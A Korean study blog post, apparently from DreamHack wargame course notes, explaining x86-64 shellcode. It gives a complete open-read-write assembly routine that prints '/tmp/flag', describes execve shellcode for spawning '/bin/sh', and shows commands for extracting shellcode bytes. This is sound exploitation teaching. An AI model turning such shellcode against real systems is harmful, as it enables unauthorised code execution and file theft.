Shellcode
shellcode란, 익스플로잇(==상대 시스템을 공격하는 것)을 위해 제작된 어셈블리 코드 조각이다. shellcode에는 아주 다양한 종류가 있으며 이번 스테이지에서는 orw(open-read-write) shell code와 execve shell code에 대해 다뤄볼 것이다
shellcode는, 일반적으로 shell을 획득하는 것을 목적으로 사용된다.
ORW(Open-Read-Write) Shellcode
orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 shellcode이다.
이 게시글에서는 "/tmp/flag"를 읽는 셸코드를 작성해볼 것이다.
orw shellcode를 C언어로 표현해보면 다음과 같다
이제 이 코드를 어셈블리어로 구현해보자.
1. int fd = open("/tmp/flag", RD_ONLY, NULL)
syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
open | 0x02 | const char *filename | int flags | umode_t mode |
1. "/tmp/flag"라는 문자열을 메모리에 위치시키기 위해 스택에 0x616c662f706d742f67(/tmp/flag)를 push한다.
2. syscall의 첫 번째 인자인 rdi가 이를 가리키도록 rdi를 rsp의 위치로 옮긴다
3. rsi(0==readonly, 1==write only, 2==read and write)를 0(read only)으로 설정하고, rdx(mode)는 의미를 갖지 않으므로 0으로 설정해준다
4. rax를 open의 syscall 값인 2로 설정해준다
2. read(fd, buf, 0x30)
syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read | 0x00 | unsigned int fd | char *buf | size_t count |
1. 위의 open syscall의 반환 값은 rax로 저장된다. 따라서 위에서 open으로 획득한 /tmp/flag의 fd는 rax에 저장되어있다.
read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입해준다
2. rsi는 '파일에서 읽은 데이터를 저장할 주소'를 가리킨다.
우리는 0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입한다
3. rdx는 '파일로부터 읽어낼 데이터의 길이'인 0x30으로 설정해준다
4. read syscall을 호출하기 위해 rax를 0으로 설정한다
3. write(1, buf, 0x30)
syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
write | 0x01 | unsigned int fd | const char *buf | size_t count |
1. 출력은 stdout이므로, rdi를 0x1로 설정한다.(0 == stdin, 1 == stdout, 2 == stderr)
2. rsi와 rdx는 read syscall(step2)에서 사용한 값을 그대로 사용한다
3. write syscall을 호출하기 위해 rax를 1로 설정한다.
이 어셈블리 코드를 모두 정리하면 다음과 같다
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
execve shellcode
execve shellcode는 임의의 프로그램을 실행하는 shellcode인데, 이를 이용하면 서버의 shell을 획득할 수 있다.
execve shellcode는 syscall을 통해 구현할 수 있다.
syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
argv는 실행파일에 넘겨줄 인자, envp는 환경변수이다. 우리는 sh만 실행하면 되므로, rdi를 제외한 다른 값들은 전부 null로 설정해줘도 된다.
다음의 코드는 '/bin/sh'를 실행하기 위한 shellcode이다.
objdump를 이용한 shellcode 추출
마지막으로, 작성된 어셈블리 코드를 shellcode 형식으로 추출하는 방법에 대해 알아보자
다음은 이 어셈블리 코드를 shellcode(바이트 코드 형식)로 추출해내는 과정이다
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
$for i in $(objdump -d ./"파일이름".o | grep "^ "|cut -f2);do echo -n \\x$i;done
'DreamHack: System Hacking > F Stage 4' 카테고리의 다른 글
[혼자 실습] shell_basic (0) | 2023.04.06 |
---|